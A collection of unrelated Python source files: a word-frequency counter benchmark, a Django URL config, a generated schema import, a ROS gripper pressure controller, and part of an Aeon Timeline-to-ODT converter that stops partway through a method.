from collections import defaultdict from exact_counter import ExactCounter from space_saving_counter import SpaceSavingCounter import time from math import sqrt from tabulate import tabulate from utils import * import matplotlib.pyplot as plt class Test(): def __init__(self, fname="datasets/en_bible.txt", stop_words_fname="./stopwords.txt", epsilons=[0.0002, 0.0005, 0.0008, 0.001, 0.002], k=200): self.fname = fname self.stop_words_fname = stop_words_fname self.epsilons = sorted(epsilons, reverse=True) min_k = int(1 / max(epsilons)) self.k = min_k if k > min_k else k self.run_test() def run_test(self): exact_counter, space_saving_counter =\ ExactCounter(self.fname, self.stop_words_fname), SpaceSavingCounter(self.fname, self.stop_words_fname) self.get_stats(exact_counter, exact_counter=True) self.get_stats(space_saving_counter) def get_stats(self, counter, exact_counter=False): print(f"{counter}\n") plot_data = [[], [], [], [], []] headers = ["Measure"] data = [["Time"], ["Total Words"], ["Events"], ["Mean"],\ ["Minimum"], ["Maximum"]] if not exact_counter: data.extend([["Accuracy"], ["Precision"], ["Avg. Precision"]]) for epsilon in self.epsilons: counter.epsilon = epsilon tic = time.time() counter.count() exec_time = round(time.time() - tic, 2) total_events = sum(counter.word_counter.values()) total_words = len(counter.word_counter) min_events = min(counter.word_counter.values()) max_events = max(counter.word_counter.values()) mean = calc_mean(counter.word_counter.values()) headers.append(f"ɛ {epsilon}") data[0].append(exec_time) data[1].append(total_words) data[2].append(total_events) data[3].append(mean) data[4].append(min_events) data[5].append(max_events) plot_data[0].append(epsilon) plot_data[1].append(exec_time) relative_precision, right_position_words, TP = 0, 0, 0 top_words = counter.sort_words()[:self.k] for i, word in enumerate(self.exact_top_k_words): if word in top_words: TP += 1 if word == top_words[i]: right_position_words += 1 relative_precision += right_position_words / (i + 1) avg_relative_precision = round(relative_precision / self.k * 100, 2) FP = self.k - TP TN = self.total_words - self.k - FP precision = round(TP / self.k * 100, 2) # recall is equal to precision in this case since # it is "retrieved" the same amount of words (k) # therefore the denominator is the same accuracy = round((TP + TN) / self.total_words * 100, 2) data[6].append(accuracy) data[7].append(precision) data[8].append(avg_relative_precision) plot_data[2].append(accuracy) plot_data[3].append(precision) plot_data[4].append(avg_relative_precision) print(tabulate(data, headers=headers)) plt.plot(plot_data[0], plot_data[1], label="Execution Time") plt.ylabel("Time (s)") plt.xlabel("Epsilon") plt.xticks(plot_data[0]) plt.title(counter) plt.legend() plt.show() plt.plot(plot_data[0], plot_data[2], label="Accuracy (%)", linewidth=3) plt.plot(plot_data[0], plot_data[3], label="Precision (%)") plt.plot(plot_data[0], plot_data[4], label="Average Precision (%)") plt.ylabel("Percentage (%)") plt.xlabel("Epsilon") plt.xticks(plot_data[0]) plt.title(counter) plt.legend() plt.show() return tic = time.time() counter.count() exec_time = round(time.time() - tic, 3) self.exact_top_k_words = counter.sort_words()[:self.k] self.total_words = len(counter.word_counter) total_events = sum(counter.word_counter.values()) min_events = min(counter.word_counter.values()) max_events = max(counter.word_counter.values()) mean = calc_mean(counter.word_counter.values()) headers.append("Value") data[0].append(exec_time) data[1].append(self.total_words) data[2].append(total_events) data[3].append(mean) data[4].append(min_events) data[5].append(max_events) print(f"{tabulate(data, headers=headers)}\n")
python
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from django.conf.urls import url from . import views urlpatterns = [ # URL pattern for the GoSetupView url( regex=r'^$', view=views.GoSetupView.as_view(), name='list' ), # URL pattern for the GoView url( regex=r'^(?P<go_id>[a-zA-Z0-9_-]+)/$', view=views.go, name='go' ), ]
python
from output.models.nist_data.list_pkg.ncname.schema_instance.nistschema_sv_iv_list_ncname_enumeration_2_xsd.nistschema_sv_iv_list_ncname_enumeration_2 import ( NistschemaSvIvListNcnameEnumeration2, NistschemaSvIvListNcnameEnumeration2Type, ) __all__ = [ "NistschemaSvIvListNcnameEnumeration2", "NistschemaSvIvListNcnameEnumeration2Type", ]
python
#!/usr/bin/env python import rospy from biotac_sensors.msg import SignedBioTacHand from std_msgs.msg import Float64, Bool, String from robotiq_2f_gripper_control.msg import _Robotiq2FGripper_robot_output as outputMsg from robotiq_2f_gripper_control.msg import _Robotiq2FGripper_robot_input as inputMsg # reset and activate class PID_HELPER(): def __init__(self): self.GOAL = 80 # in terms of desired pressure 230, 80 self.TOLERANCE = 10 self.TOLERANCE_QTY = 10 self.input_topic = rospy.get_param("~input", "Robotiq2FGripperRobotInput") self.output_topic = rospy.get_param("~output", "Robotiq2FGripperRobotOutput") self.state=0 self.current_pos=0 rospy.init_node('pid_helper') self.pub = rospy.Publisher('state', Float64, queue_size=100) self.pub_goal = rospy.Publisher('setpoint', Float64, queue_size=100) self.pub_plant = rospy.Publisher(self.output_topic, outputMsg.Robotiq2FGripper_robot_output, queue_size=100) self.pub_pid_start = rospy.Publisher('pid_enable', Bool, queue_size=100) rospy.Subscriber(self.input_topic, inputMsg.Robotiq2FGripper_robot_input, self.getStatus) # command to be sent self.command = outputMsg.Robotiq2FGripper_robot_output(); self.command.rACT = 0 # 1: activate the gripper, 0: reset the gripper -> try to activate the gripper from outside self.command.rGTO = 0 # Go To action: 0 or 1, 1 is action is taken self.command.rATR = 0 # Automatic Realease -> no need for now self.command.rPR = 0 # Desired target self.command.rSP = 0 # Desired speed: keep 0 self.command.rFR = 0 # Desired force: keep 0 self.init_gripper() self.pub_pid_start.publish(Bool(data=0)) # start with msg #rospy.Subscriber('talkPID', String, self.callbackPID) #def callbackPID(self, data): # if data.data == 'start': # self.pub_pid_start.publish(Bool(data=1)) def getStatus(self, status): self.current_pos = status.gPO #if self.current_pos >= self.GOAL: # self.current_pos = self.GOAL def init_gripper(self): self.command.rACT = 0 self.pub_plant.publish(self.command) rospy.sleep(0.1) self.command.rACT = 1 self.command.rGTO = 1 self.pub_plant.publish(self.command) print('Activated') # wait until open rospy.sleep(2) # send goal stuff self.pub_goal.publish(Float64(data=self.GOAL)) print('Goal set') def updateState(self,data): self.state = data.bt_data[0].pdc_data if (abs(self.state - self.GOAL) < self.TOLERANCE) and (self.TOLERANCE_QTY != 0): #self.state = self.GOAL #self.pub_pid_start.publish(Bool(data=0)) self.TOLERANCE_QTY -= 1 if self.TOLERANCE_QTY == 0: self.pub_pid_start.publish(Bool(data=0)) self.pub.publish(self.state) def updatePlant(self,data): action = self.current_pos + data.data print('Input to the plant:', data.data) self.command.rPR = action print(action) self.pub_plant.publish(self.command) def listener(self): rospy.Subscriber('biotac_pub_centered', SignedBioTacHand, self.updateState) rospy.Subscriber('control_effort', Float64, self.updatePlant) rospy.spin() if __name__ == '__main__': my_helper = PID_HELPER() rospy.sleep(0.1) my_helper.listener()
python
"""Convert Aeon Timeline project data to odt. Version 0.6.2 Requires Python 3.6+ Copyright (c) 2022 Peter Triesberger For further information see https://github.com/peter88213/aeon3odt Published under the MIT License (https://opensource.org/licenses/mit-license.php) """ import uno from com.sun.star.awt.MessageBoxType import MESSAGEBOX, INFOBOX, WARNINGBOX, ERRORBOX, QUERYBOX from com.sun.star.beans import PropertyValue import os from configparser import ConfigParser from pathlib import Path from configparser import ConfigParser class Configuration: """Application configuration, representing an INI file. INI file sections: <self._sLabel> - Strings <self._oLabel> - Boolean values Public methods: set(settings={}, options={}) -- set the entire configuration without writing the INI file. read(iniFile) -- read a configuration file. write(iniFile) -- save the configuration to iniFile. Public instance variables: settings - dictionary of strings options - dictionary of boolean values """ def __init__(self, settings={}, options={}): """Initalize attribute variables. Optional arguments: settings -- default settings (dictionary of strings) options -- default options (dictionary of boolean values) """ self.settings = None self.options = None self._sLabel = 'SETTINGS' self._oLabel = 'OPTIONS' self.set(settings, options) def set(self, settings=None, options=None): """Set the entire configuration without writing the INI file. Optional arguments: settings -- new settings (dictionary of strings) options -- new options (dictionary of boolean values) """ if settings is not None: self.settings = settings.copy() if options is not None: self.options = options.copy() def read(self, iniFile): """Read a configuration file. Positional arguments: iniFile -- str: path configuration file path. Settings and options that can not be read in, remain unchanged. """ config = ConfigParser() config.read(iniFile, encoding='utf-8') if config.has_section(self._sLabel): section = config[self._sLabel] for setting in self.settings: fallback = self.settings[setting] self.settings[setting] = section.get(setting, fallback) if config.has_section(self._oLabel): section = config[self._oLabel] for option in self.options: fallback = self.options[option] self.options[option] = section.getboolean(option, fallback) def write(self, iniFile): """Save the configuration to iniFile. Positional arguments: iniFile -- str: path configuration file path. """ config = ConfigParser() if self.settings: config.add_section(self._sLabel) for settingId in self.settings: config.set(self._sLabel, settingId, str(self.settings[settingId])) if self.options: config.add_section(self._oLabel) for settingId in self.options: if self.options[settingId]: config.set(self._oLabel, settingId, 'Yes') else: config.set(self._oLabel, settingId, 'No') with open(iniFile, 'w', encoding='utf-8') as f: config.write(f) from com.sun.star.awt.MessageBoxType import MESSAGEBOX, INFOBOX, WARNINGBOX, ERRORBOX, QUERYBOX from com.sun.star.awt.MessageBoxButtons import BUTTONS_OK, BUTTONS_OK_CANCEL, BUTTONS_YES_NO, BUTTONS_YES_NO_CANCEL, BUTTONS_RETRY_CANCEL, BUTTONS_ABORT_IGNORE_RETRY CTX = uno.getComponentContext() SM = CTX.getServiceManager() def create_instance(name, with_context=False): if with_context: instance = SM.createInstanceWithContext(name, CTX) else: instance = SM.createInstance(name) return instance def msgbox(message, title='yWriter import/export', buttons=BUTTONS_OK, type_msg=INFOBOX): """ Create message box type_msg: MESSAGEBOX, INFOBOX, WARNINGBOX, ERRORBOX, QUERYBOX MSG_BUTTONS: BUTTONS_OK, BUTTONS_OK_CANCEL, BUTTONS_YES_NO, BUTTONS_YES_NO_CANCEL, BUTTONS_RETRY_CANCEL, BUTTONS_ABORT_IGNORE_RETRY MSG_RESULTS: OK, YES, NO, CANCEL http://api.libreoffice.org/docs/idl/ref/interfacecom_1_1sun_1_1star_1_1awt_1_1XMessageBoxFactory.html """ toolkit = create_instance('com.sun.star.awt.Toolkit') parent = toolkit.getDesktopWindow() mb = toolkit.createMessageBox( parent, type_msg, buttons, title, str(message)) return mb.execute() class Stub(): def dummy(self): pass def FilePicker(path=None, mode=0): """ Read file: `mode in (0, 6, 7, 8, 9)` Write file: `mode in (1, 2, 3, 4, 5, 10)` see: (http://api.libreoffice.org/docs/idl/ref/ namespacecom_1_1sun_1_1star_1_1ui_1_1 dialogs_1_1TemplateDescription.html) See: https://stackoverflow.com/questions/30840736/libreoffice-how-to-create-a-file-dialog-via-python-macro """ # shortcut: createUnoService = ( XSCRIPTCONTEXT .getComponentContext() .getServiceManager() .createInstance ) filepicker = createUnoService("com.sun.star.ui.dialogs.OfficeFilePicker") if path: filepicker.setDisplayDirectory(path) filepicker.initialize((mode,)) filepicker.appendFilter("Aeon Timeline 3 Files", "*.aeon") filepicker.appendFilter("CSV Files", "*.csv") if filepicker.execute(): return filepicker.getFiles()[0] ERROR = '!' import sys import webbrowser class Ui: """Base class for UI facades, implementing a 'silent mode'. Public methods: ask_yes_no(text) -- return True or False. set_info_what(message) -- show what the converter is going to do. set_info_how(message) -- show how the converter is doing. start() -- launch the GUI, if any. Public instance variables: infoWhatText -- buffer for general messages. infoHowText -- buffer for error/success messages. """ def __init__(self, title): """Initialize text buffers for messaging. Positional arguments: title -- application title. """ self.infoWhatText = '' self.infoHowText = '' def ask_yes_no(self, text): """Return True or False. Positional arguments: text -- question to be asked. This is a stub used for "silent mode". The application may use a subclass for confirmation requests. """ return True def set_info_what(self, message): """Show what the converter is going to do. Positional arguments: message -- message to be buffered. """ self.infoWhatText = message def set_info_how(self, message): """Show how the converter is doing. Positional arguments: message -- message to be buffered. Print the message to stderr, replacing the error marker, if any. """ if message.startswith(ERROR): message = f'FAIL: {message.split(ERROR, maxsplit=1)[1].strip()}' sys.stderr.write(message) self.infoHowText = message def start(self): """Launch the GUI, if any. To be overridden by subclasses requiring special action to launch the user interaction. """ class YwCnv: """Base class for Novel file conversion. Public methods: convert(sourceFile, targetFile) -- Convert sourceFile into targetFile. """ def convert(self, source, target): """Convert source into target and return a message. Positional arguments: source, target -- Novel subclass instances. Operation: 1. Make the source object read the source file. 2. Make the target object merge the source object's instance variables. 3. Make the target object write the target file. Return a message beginning with the ERROR constant in case of error. Error handling: - Check if source and target are correctly initialized. - Ask for permission to overwrite target. - Pass the error messages of the called methods of source and target. - The success message comes from target.write(), if called. """ if source.filePath is None: return f'{ERROR}Source "{os.path.normpath(source.filePath)}" is not of the supported type.' if not os.path.isfile(source.filePath): return f'{ERROR}"{os.path.normpath(source.filePath)}" not found.' if target.filePath is None: return f'{ERROR}Target "{os.path.normpath(target.filePath)}" is not of the supported type.' if os.path.isfile(target.filePath) and not self._confirm_overwrite(target.filePath): return f'{ERROR}Action canceled by user.' message = source.read() if message.startswith(ERROR): return message message = target.merge(source) if message.startswith(ERROR): return message return target.write() def _confirm_overwrite(self, fileName): """Return boolean permission to overwrite the target file. Positional argument: fileName -- path to the target file. This is a stub to be overridden by subclass methods. """ return True class YwCnvUi(YwCnv): """Base class for Novel file conversion with user interface. Public methods: export_from_yw(sourceFile, targetFile) -- Convert from yWriter project to other file format. create_yw(sourceFile, targetFile) -- Create target from source. import_to_yw(sourceFile, targetFile) -- Convert from any file format to yWriter project. Instance variables: ui -- Ui (can be overridden e.g. by subclasses). newFile -- str: path to the target file in case of success. """ def __init__(self): """Define instance variables.""" self.ui = Ui('') # Per default, 'silent mode' is active. self.newFile = None # Also indicates successful conversion. def export_from_yw(self, source, target): """Convert from yWriter project to other file format. Positional arguments: source -- YwFile subclass instance. target -- Any Novel subclass instance. Operation: 1. Send specific information about the conversion to the UI. 2. Convert source into target. 3. Pass the message to the UI. 4. Save the new file pathname. Error handling: - If the conversion fails, newFile is set to None. """ self.ui.set_info_what( f'Input: {source.DESCRIPTION} "{os.path.normpath(source.filePath)}"\nOutput: {target.DESCRIPTION} "{os.path.normpath(target.filePath)}"') message = self.convert(source, target) self.ui.set_info_how(message) if message.startswith(ERROR): self.newFile = None else: self.newFile = target.filePath def create_yw7(self, source, target): """Create target from source. Positional arguments: source -- Any Novel subclass instance. target -- YwFile subclass instance. Operation: 1. Send specific information about the conversion to the UI. 2. Convert source into target. 3. Pass the message to the UI. 4. Save the new file pathname. Error handling: - Tf target already exists as a file, the conversion is cancelled, an error message is sent to the UI. - If the conversion fails, newFile is set to None. """ self.ui.set_info_what( f'Create a yWriter project file from {source.DESCRIPTION}\nNew project: "{os.path.normpath(target.filePath)}"') if os.path.isfile(target.filePath): self.ui.set_info_how(f'{ERROR}"{os.path.normpath(target.filePath)}" already exists.') else: message = self.convert(source, target) self.ui.set_info_how(message) if message.startswith(ERROR): self.newFile = None else: self.newFile = target.filePath def import_to_yw(self, source, target): """Convert from any file format to yWriter project. Positional arguments: source -- Any Novel subclass instance. target -- YwFile subclass instance. Operation: 1. Send specific information about the conversion to the UI. 2. Convert source into target. 3. Pass the message to the UI. 4. Delete the temporay file, if exists. 5. Save the new file pathname. Error handling: - If the conversion fails, newFile is set to None. """ self.ui.set_info_what( f'Input: {source.DESCRIPTION} "{os.path.normpath(source.filePath)}"\nOutput: {target.DESCRIPTION} "{os.path.normpath(target.filePath)}"') message = self.convert(source, target) self.ui.set_info_how(message) self._delete_tempfile(source.filePath) if message.startswith(ERROR): self.newFile = None else: self.newFile = target.filePath def _confirm_overwrite(self, filePath): """Return boolean permission to overwrite the target file. Positional arguments: fileName -- path to the target file. Overrides the superclass method. """ return self.ui.ask_yes_no(f'Overwrite existing file "{os.path.normpath(filePath)}"?') def _delete_tempfile(self, filePath): """Delete filePath if it is a temporary file no longer needed.""" if filePath.endswith('.html'): # Might it be a temporary text document? if os.path.isfile(filePath.replace('.html', '.odt')): # Does a corresponding Office document exist? try: os.remove(filePath) except: pass elif filePath.endswith('.csv'): # Might it be a temporary spreadsheet document? if os.path.isfile(filePath.replace('.csv', '.ods')): # Does a corresponding Office document exist? try: os.remove(filePath) except: pass def _open_newFile(self): """Open the converted file for editing and exit the converter script.""" webbrowser.open(self.newFile) sys.exit(0) class FileFactory: """Base class for conversion object factory classes. """ def __init__(self, fileClasses=[]): """Write the parameter to a "private" instance variable. Optional arguments: _fileClasses -- list of classes from which an instance can be returned. """ self._fileClasses = fileClasses class ExportSourceFactory(FileFactory): """A factory class that instantiates a yWriter object to read. Public methods: make_file_objects(self, sourcePath, **kwargs) -- return conversion objects. """ def make_file_objects(self, sourcePath, **kwargs): """Instantiate a source object for conversion from a yWriter project. Positional arguments: sourcePath -- str: path to the source file to convert. Return a tuple with three elements: - A message beginning with the ERROR constant in case of error - sourceFile: a YwFile subclass instance, or None in case of error - targetFile: None """ __, fileExtension = os.path.splitext(sourcePath) for fileClass in self._fileClasses: if fileClass.EXTENSION == fileExtension: sourceFile = fileClass(sourcePath, **kwargs) return 'Source object created.', sourceFile, None return f'{ERROR}File type of "{os.path.normpath(sourcePath)}" not supported.', None, None class ExportTargetFactory(FileFactory): """A factory class that instantiates a document object to write. Public methods: make_file_objects(self, sourcePath, **kwargs) -- return conversion objects. """ def make_file_objects(self, sourcePath, **kwargs): """Instantiate a target object for conversion from a yWriter project. Positional arguments: sourcePath -- str: path to the source file to convert. Optional arguments: suffix -- str: an indicator for the target file type. Required keyword arguments: suffix -- str: target file name suffix. Return a tuple with three elements: - A message beginning with the ERROR constant in case of error - sourceFile: None - targetFile: a FileExport subclass instance, or None in case of error """ fileName, __ = os.path.splitext(sourcePath) suffix = kwargs['suffix'] for fileClass in self._fileClasses: if fileClass.SUFFIX == suffix: if suffix is None: suffix = '' targetFile = fileClass(f'{fileName}{suffix}{fileClass.EXTENSION}', **kwargs) return 'Target object created.', None, targetFile return f'{ERROR}File type of "{os.path.normpath(sourcePath)}" not supported.', None, None class ImportSourceFactory(FileFactory): """A factory class that instantiates a documente object to read. Public methods: make_file_objects(self, sourcePath, **kwargs) -- return conversion objects. """ def make_file_objects(self, sourcePath, **kwargs): """Instantiate a source object for conversion to a yWriter project. Positional arguments: sourcePath -- str: path to the source file to convert. Return a tuple with three elements: - A message beginning with the ERROR constant in case of error - sourceFile: a Novel subclass instance, or None in case of error - targetFile: None """ for fileClass in self._fileClasses: if fileClass.SUFFIX is not None: if sourcePath.endswith(f'{fileClass.SUFFIX }{fileClass.EXTENSION}'): sourceFile = fileClass(sourcePath, **kwargs) return 'Source object created.', sourceFile, None return f'{ERROR}This document is not meant to be written back.', None, None class ImportTargetFactory(FileFactory): """A factory class that instantiates a yWriter object to write. Public methods: make_file_objects(self, sourcePath, **kwargs) -- return conversion objects. """ def make_file_objects(self, sourcePath, **kwargs): """Instantiate a target object for conversion to a yWriter project. Positional arguments: sourcePath -- str: path to the source file to convert. Optional arguments: suffix -- str: an indicator for the source file type. Required keyword arguments: suffix -- str: target file name suffix. Return a tuple with three elements: - A message beginning with the ERROR constant in case of error - sourceFile: None - targetFile: a YwFile subclass instance, or None in case of error """ fileName, __ = os.path.splitext(sourcePath) sourceSuffix = kwargs['suffix'] if sourceSuffix: ywPathBasis = fileName.split(sourceSuffix)[0] else: ywPathBasis = fileName # Look for an existing yWriter project to rewrite. for fileClass in self._fileClasses: if os.path.isfile(f'{ywPathBasis}{fileClass.EXTENSION}'): targetFile = fileClass(f'{ywPathBasis}{fileClass.EXTENSION}', **kwargs) return 'Target object created.', None, targetFile return f'{ERROR}No yWriter project to write.', None, None class YwCnvFf(YwCnvUi): """Class for Novel file conversion using factory methods to create target and source classes. Public methods: run(sourcePath, **kwargs) -- create source and target objects and run conversion. Class constants: EXPORT_SOURCE_CLASSES -- list of YwFile subclasses from which can be exported. EXPORT_TARGET_CLASSES -- list of FileExport subclasses to which export is possible. IMPORT_SOURCE_CLASSES -- list of Novel subclasses from which can be imported. IMPORT_TARGET_CLASSES -- list of YwFile subclasses to which import is possible. All lists are empty and meant to be overridden by subclasses. Instance variables: exportSourceFactory -- ExportSourceFactory. exportTargetFactory -- ExportTargetFactory. importSourceFactory -- ImportSourceFactory. importTargetFactory -- ImportTargetFactory. newProjectFactory -- FileFactory (a stub to be overridden by subclasses). """ EXPORT_SOURCE_CLASSES = [] EXPORT_TARGET_CLASSES = [] IMPORT_SOURCE_CLASSES = [] IMPORT_TARGET_CLASSES = [] def __init__(self): """Create strategy class instances. Extends the superclass constructor. """ super().__init__() self.exportSourceFactory = ExportSourceFactory(self.EXPORT_SOURCE_CLASSES) self.exportTargetFactory = ExportTargetFactory(self.EXPORT_TARGET_CLASSES) self.importSourceFactory = ImportSourceFactory(self.IMPORT_SOURCE_CLASSES) self.importTargetFactory = ImportTargetFactory(self.IMPORT_TARGET_CLASSES) self.newProjectFactory = FileFactory() def run(self, sourcePath, **kwargs): """Create source and target objects and run conversion. Positional arguments: sourcePath -- str: the source file path. Required keyword arguments: suffix -- str: target file name suffix. This is a template method that calls superclass methods as primitive operations by case. """ self.newFile = None if not os.path.isfile(sourcePath): self.ui.set_info_how(f'{ERROR}File "{os.path.normpath(sourcePath)}" not found.') return message, source, __ = self.exportSourceFactory.make_file_objects(sourcePath, **kwargs) if message.startswith(ERROR): # The source file is not a yWriter project. message, source, __ = self.importSourceFactory.make_file_objects(sourcePath, **kwargs) if message.startswith(ERROR): # A new yWriter project might be required. message, source, target = self.newProjectFactory.make_file_objects(sourcePath, **kwargs) if message.startswith(ERROR): self.ui.set_info_how(message) else: self.create_yw7(source, target) else: # Try to update an existing yWriter project. kwargs['suffix'] = source.SUFFIX message, __, target = self.importTargetFactory.make_file_objects(sourcePath, **kwargs) if message.startswith(ERROR): self.ui.set_info_how(message) else: self.import_to_yw(source, target) else: # The source file is a yWriter project. message, __, target = self.exportTargetFactory.make_file_objects(sourcePath, **kwargs) if message.startswith(ERROR): self.ui.set_info_how(message) else: self.export_from_yw(source, target) import csv from datetime import datetime from urllib.parse import quote class Novel: """Abstract yWriter project file representation. This class represents a file containing a novel with additional attributes and structural information (a full set or a subset of the information included in an yWriter project file). Public methods: read() -- parse the file and get the instance variables. merge(source) -- update instance variables from a source instance. write() -- write instance variables to the file. Public instance variables: title -- str: title. desc -- str: description in a single string. authorName -- str: author's name. author bio -- str: information about the author. fieldTitle1 -- str: scene rating field title 1. fieldTitle2 -- str: scene rating field title 2. fieldTitle3 -- str: scene rating field title 3. fieldTitle4 -- str: scene rating field title 4. chapters -- dict: (key: ID; value: chapter instance). scenes -- dict: (key: ID, value: scene instance). srtChapters -- list: the novel's sorted chapter IDs. locations -- dict: (key: ID, value: WorldElement instance). srtLocations -- list: the novel's sorted location IDs. items -- dict: (key: ID, value: WorldElement instance). srtItems -- list: the novel's sorted item IDs. characters -- dict: (key: ID, value: character instance). srtCharacters -- list: the novel's sorted character IDs. filePath -- str: path to the file (property with getter and setter). """ DESCRIPTION = 'Novel' EXTENSION = None SUFFIX = None # To be extended by subclass methods. def __init__(self, filePath, **kwargs): """Initialize instance variables. Positional arguments: filePath -- str: path to the file represented by the Novel instance. Optional arguments: kwargs -- keyword arguments to be used by subclasses. """ self.title = None # str # xml: <PROJECT><Title> self.desc = None # str # xml: <PROJECT><Desc> self.authorName = None # str # xml: <PROJECT><AuthorName> self.authorBio = None # str # xml: <PROJECT><Bio> self.fieldTitle1 = None # str # xml: <PROJECT><FieldTitle1> self.fieldTitle2 = None # str # xml: <PROJECT><FieldTitle2> self.fieldTitle3 = None # str # xml: <PROJECT><FieldTitle3> self.fieldTitle4 = None # str # xml: <PROJECT><FieldTitle4> self.chapters = {} # dict # xml: <CHAPTERS><CHAPTER><ID> # key = chapter ID, value = Chapter instance. # The order of the elements does not matter (the novel's order of the chapters is defined by srtChapters) self.scenes = {} # dict # xml: <SCENES><SCENE><ID> # key = scene ID, value = Scene instance. # The order of the elements does not matter (the novel's order of the scenes is defined by # the order of the chapters and the order of the scenes within the chapters) self.srtChapters = [] # list of str # The novel's chapter IDs. The order of its elements corresponds to the novel's order of the chapters. self.locations = {} # dict # xml: <LOCATIONS> # key = location ID, value = WorldElement instance. # The order of the elements does not matter. self.srtLocations = [] # list of str # The novel's location IDs. The order of its elements # corresponds to the XML project file. self.items = {} # dict # xml: <ITEMS> # key = item ID, value = WorldElement instance. # The order of the elements does not matter. self.srtItems = [] # list of str # The novel's item IDs. The order of its elements corresponds to the XML project file. self.characters = {} # dict # xml: <CHARACTERS> # key = character ID, value = Character instance. # The order of the elements does not matter. self.srtCharacters = [] # list of str # The novel's character IDs. The order of its elements corresponds to the XML project file. self._filePath = None # str # Path to the file. The setter only accepts files of a supported type as specified by EXTENSION. self._projectName = None # str # URL-coded file name without suffix and extension. self._projectPath = None # str # URL-coded path to the project directory. self.filePath = filePath @property def filePath(self): return self._filePath @filePath.setter def filePath(self, filePath): """Setter for the filePath instance variable. - Format the path string according to Python's requirements. - Accept only filenames with the right suffix and extension. """ if self.SUFFIX is not None: suffix = self.SUFFIX else: suffix = '' if filePath.lower().endswith(f'{suffix}{self.EXTENSION}'.lower()): self._filePath = filePath head, tail = os.path.split(os.path.realpath(filePath)) self.projectPath = quote(head.replace('\\', '/'), '/:') self.projectName = quote(tail.replace(f'{suffix}{self.EXTENSION}', '')) def read(self): """Parse the file and get the instance variables. Return a message beginning with the ERROR constant in case of error. This is a stub to be overridden by subclass methods. """ return f'{ERROR}Read method is not implemented.' def merge(self, source): """Update instance variables from a source instance. Positional arguments: source -- Novel subclass instance to merge. Return a message beginning with the ERROR constant in case of error. This is a stub to be overridden by subclass methods. """ return f'{ERROR}Merge method is not implemented.' def write(self): """Write instance variables to the file. Return a message beginning with the ERROR constant in case of error. This is a stub to be overridden by subclass methods. """ return f'{ERROR}Write method is not implemented.' def _convert_to_yw(self, text): """Return text, converted from source format to yw7 markup. Positional arguments: text -- string to convert. This is a stub to be overridden by subclass methods. """ return text def _convert_from_yw(self, text, quick=False): """Return text, converted from yw7 markup to target format. Positional arguments: text -- string to convert. Optional arguments: quick -- bool: if True, apply a conversion mode for one-liners without formatting. This is a stub to be overridden by subclass methods. """ return text import re class Scene: """yWriter scene representation. Public instance variables: title -- str: scene title. desc -- str: scene description in a single string. sceneContent -- str: scene content (property with getter and setter). rtfFile -- str: RTF file name (yWriter 5). wordCount - int: word count (derived; updated by the sceneContent setter). letterCount - int: letter count (derived; updated by the sceneContent setter). isUnused -- bool: True if the scene is marked "Unused". isNotesScene -- bool: True if the scene type is "Notes". isTodoScene -- bool: True if the scene type is "Todo". doNotExport -- bool: True if the scene is not to be exported to RTF. status -- int: scene status (Outline/Draft/1st Edit/2nd Edit/Done). sceneNotes -- str: scene notes in a single string. tags -- list of scene tags. field1 -- int: scene ratings field 1. field2 -- int: scene ratings field 2. field3 -- int: scene ratings field 3. field4 -- int: scene ratings field 4. appendToPrev -- bool: if True, append the scene without a divider to the previous scene. isReactionScene -- bool: if True, the scene is "reaction". Otherwise, it's "action". isSubPlot -- bool: if True, the scene belongs to a sub-plot. Otherwise it's main plot. goal -- str: the main actor's scene goal. conflict -- str: what hinders the main actor to achieve his goal. outcome -- str: what comes out at the end of the scene. characters -- list of character IDs related to this scene. locations -- list of location IDs related to this scene. items -- list of item IDs related to this scene. date -- str: specific start date in ISO format (yyyy-mm-dd). time -- str: specific start time in ISO format (hh:mm). minute -- str: unspecific start time: minutes. hour -- str: unspecific start time: hour. day -- str: unspecific start time: day. lastsMinutes -- str: scene duration: minutes. lastsHours -- str: scene duration: hours. lastsDays -- str: scene duration: days. image -- str: path to an image related to the scene. """ STATUS = (None, 'Outline', 'Draft', '1st Edit', '2nd Edit', 'Done') # Emulate an enumeration for the scene status # Since the items are used to replace text, # they may contain spaces. This is why Enum cannot be used here. ACTION_MARKER = 'A' REACTION_MARKER = 'R' NULL_DATE = '0001-01-01' NULL_TIME = '00:00:00' def __init__(self): """Initialize instance variables.""" self.title = None # str # xml: <Title> self.desc = None # str # xml: <Desc> self._sceneContent = None # str # xml: <SceneContent> # Scene text with yW7 raw markup. self.rtfFile = None # str # xml: <RTFFile> # Name of the file containing the scene in yWriter 5. self.wordCount = 0 # int # xml: <WordCount> # To be updated by the sceneContent setter self.letterCount = 0 # int # xml: <LetterCount> # To be updated by the sceneContent setter self.isUnused = None # bool # xml: <Unused> -1 self.isNotesScene = None # bool # xml: <Fields><Field_SceneType> 1 self.isTodoScene = None # bool # xml: <Fields><Field_SceneType> 2 self.doNotExport = None # bool # xml: <ExportCondSpecific><ExportWhenRTF> self.status = None # int # xml: <Status> # 1 - Outline # 2 - Draft # 3 - 1st Edit # 4 - 2nd Edit # 5 - Done # See also the STATUS list for conversion. self.sceneNotes = None # str # xml: <Notes> self.tags = None # list of str # xml: <Tags> self.field1 = None # str # xml: <Field1> self.field2 = None # str # xml: <Field2> self.field3 = None # str # xml: <Field3> self.field4 = None # str # xml: <Field4> self.appendToPrev = None # bool # xml: <AppendToPrev> -1 self.isReactionScene = None # bool # xml: <ReactionScene> -1 self.isSubPlot = None # bool # xml: <SubPlot> -1 self.goal = None # str # xml: <Goal> self.conflict = None # str # xml: <Conflict> self.outcome = None # str # xml: <Outcome> self.characters = None # list of str # xml: <Characters><CharID> self.locations = None # list of str # xml: <Locations><LocID> self.items = None # list of str # xml: <Items><ItemID> self.date = None # str # xml: <SpecificDateMode>-1 # xml: <SpecificDateTime>1900-06-01 20:38:00 self.time = None # str # xml: <SpecificDateMode>-1 # xml: <SpecificDateTime>1900-06-01 20:38:00 self.minute = None # str # xml: <Minute> self.hour = None # str # xml: <Hour> self.day = None # str # xml: <Day> self.lastsMinutes = None # str # xml: <LastsMinutes> self.lastsHours = None # str # xml: <LastsHours> self.lastsDays = None # str # xml: <LastsDays> self.image = None # str # xml: <ImageFile> @property def sceneContent(self): return self._sceneContent @sceneContent.setter def sceneContent(self, text): """Set sceneContent updating word count and letter count.""" self._sceneContent = text text = re.sub('\[.+?\]|\.|\,| -', '', self._sceneContent) # Remove yWriter raw markup for word count wordList = text.split() self.wordCount = len(wordList) text = re.sub('\[.+?\]', '', self._sceneContent) # Remove yWriter raw markup for letter count text = text.replace('\n', '') 